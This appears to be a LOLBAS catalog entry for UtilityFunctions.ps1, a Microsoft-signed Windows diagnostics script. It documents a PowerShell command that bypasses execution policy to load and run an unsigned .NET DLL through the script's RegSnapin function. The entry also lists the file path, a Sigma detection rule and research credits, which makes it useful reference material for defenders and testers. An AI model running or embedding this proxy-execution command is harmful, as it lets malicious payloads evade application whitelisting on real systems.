UtilityFunctions.ps1

01 / TRADECRAFT

Command reference

1 examples

Execute1

EXAMPLE 01T1216

Proxy execute Managed DLL with PowerShell

COMMAND

powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"

USE CASE: Execute proxied payload with Microsoft signed binary
PRIVILEGES: User
OPERATING SYSTEM: Windows 10 21H1 (likely other versions as well), Windows 11

Execute · DLL (.NET)

02 / ON DISK

Known paths

C:\Windows\diagnostics\system\Networking\UtilityFunctions.ps1

03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Sigmaproc_creation_win_lolbas_utilityfunctions.ymlgithub.com

Research & resources

READResearch by @nickvangildertwitter.com

COMMUNITY RESEARCH

Acknowledgements

Nick VanGilder@nickvangilder